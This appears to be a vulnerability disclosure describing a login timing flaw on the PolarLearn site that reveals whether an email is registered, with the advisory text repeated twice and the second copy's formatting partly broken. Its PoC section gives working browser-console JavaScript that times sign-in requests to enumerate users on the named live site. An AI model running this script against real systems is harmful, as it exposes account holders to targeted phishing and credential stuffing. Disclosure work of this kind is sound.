Summary
A timing attack vulnerability in the sign-in process allows unauthenticated attackers to determine if a specific email address is registered on the platform. By measuring the response time of the login endpoint, an attacker can distinguish between valid and invalid email addresses. This occurs because the server only performs the computationally expensive Argon2 password hashing if the user exists in the database. Requests for existing users take significantly longer (~650ms) than requests for non-existent users (~160ms).
Details
The vulnerability is located in the signInCredentials function within src/utils/auth/auth.ts.
The code logic follows this pattern:
- It queries the database for a user matching the provided
email.
- Early Return: If the user does not exist (
if (!user)), the function immediately returns the string "invcreds".
- Expensive Operation: If the user does exist, the code proceeds to execute
const hashedPassword = await hashPassword(password, user.salt);.
The hashPassword function utilizes Argon2, which is intentionally designed to be slow and resource-intensive to prevent brute-force attacks. Because this hashing step is entirely skipped for non-existent users, the server responds several hundred milliseconds faster when an email is not in the database. This timing leakage bypasses the intended privacy of the authentication system.
PoC
To reproduce this vulnerability, follow these steps using the browser's developer tools on the PolarLearn sign-in page:
- Navigate to
https://polarlearn.nl/auth/sign-in.
- Solve the CAPTCHA (if present) but do not click "Sign In".
- Open the Browser Console (F12) and paste the following code to measure response time:
async function testTiming(email) {
const captchaToken = document.querySelector('[name*="response"]')?.value;
const start = performance.now();
await fetch('/api/v1/auth/sign-in', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: email,
password: 'wrong_password_123',
captchaToken: captchaToken
})
});
const duration = (performance.now() - start).toFixed(2);
console.log(`Email: ${email} | Response Time: ${duration}ms`);
}
-
Test an invalid email:
await testTiming('non-existent-user-test@example.com')
Expected Result: ~150ms - 180ms
-
Test a valid email:
await testTiming('known-valid-user@example.com')
Expected Result: ~600ms - 750ms
The consistent ~450ms+ difference confirms the ability to enumerate users.
Impact
This is an Information Disclosure vulnerability.
- User Enumeration: Attackers can verify which individuals (e.g., employees, public figures, or targets from leaked databases) have an account on the platform.
- Targeted Attacks: Once an account is confirmed to exist, attackers can focus their efforts on targeted phishing, password resetting, or credential stuffing against that specific email.
Summary
A timing attack vulnerability in the sign-in process allows unauthenticated attackers to determine if a specific email address is registered on the platform. By measuring the response time of the login endpoint, an attacker can distinguish between valid and invalid email addresses. This occurs because the server only performs the computationally expensive Argon2 password hashing if the user exists in the database. Requests for existing users take significantly longer (~650ms) than requests for non-existent users (~160ms).
Details
The vulnerability is located in the
signInCredentialsfunction withinsrc/utils/auth/auth.ts.The code logic follows this pattern:
email.if (!user)), the function immediately returns the string"invcreds".const hashedPassword = await hashPassword(password, user.salt);.The
hashPasswordfunction utilizes Argon2, which is intentionally designed to be slow and resource-intensive to prevent brute-force attacks. Because this hashing step is entirely skipped for non-existent users, the server responds several hundred milliseconds faster when an email is not in the database. This timing leakage bypasses the intended privacy of the authentication system.PoC
To reproduce this vulnerability, follow these steps using the browser's developer tools on the PolarLearn sign-in page:
https://polarlearn.nl/auth/sign-in.Test an invalid email:
await testTiming('non-existent-user-test@example.com')Expected Result: ~150ms - 180ms
Test a valid email:
await testTiming('known-valid-user@example.com')Expected Result: ~600ms - 750ms
The consistent ~450ms+ difference confirms the ability to enumerate users.
Impact
This is an Information Disclosure vulnerability.